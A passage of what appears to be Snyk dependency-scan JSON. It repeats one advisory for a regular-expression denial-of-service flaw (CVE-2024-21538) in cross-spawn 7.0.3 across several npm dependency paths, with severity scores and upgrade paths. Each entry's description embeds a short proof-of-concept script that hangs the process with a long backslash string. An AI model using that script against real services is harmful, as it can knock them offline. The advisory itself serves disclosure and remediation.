"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.6.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
